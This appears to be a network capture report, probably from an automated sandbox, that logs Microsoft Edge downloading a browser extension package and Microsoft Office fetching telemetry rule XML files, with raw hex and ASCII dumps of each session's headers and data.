2024-11-12 16:07:45 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49843	142.250.184.225	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:45 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:45 UTC	571	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2AJ3mAqvaEa5zTCJ2gBa-TTGsl5ikTvuN_wnoXUN8URzZfjBy4CkJr8AETwOad-WjZwKG8y7Uziw X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 12 Nov 2024 16:03:47 GMT Expires: Wed, 12 Nov 2025 16:03:47 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Age: 238 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 16:07:45 UTC	807	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 Data Ascii: 6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 Data Ascii: S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d Data Ascii: s!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79S
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 Data Ascii: A1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%
2024-11-12 16:07:45 UTC	1378	IN	Data Raw: 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/mess

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:45 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:45 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160745Z-16547b76f7f7rtshhC1DFWrtqn0000000fyg000000006ek9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:45 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:45 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:45 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160745Z-16547b76f7f775p5hC1DFWzdvn0000000fvg00000000b3mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:45 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:45 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:45 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:45 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160745Z-16547b76f7fdf69shC1DFWcpd00000000fq000000000qn5m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:46 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:46 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160746Z-16547b76f7fcrtpchC1DFW52e80000000g00000000001npb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:46 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:46 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a48743f7-c01e-007a-73a1-34b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160746Z-15869dbbcc6zbpm7hC1DFWrv8n00000000d0000000001aqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
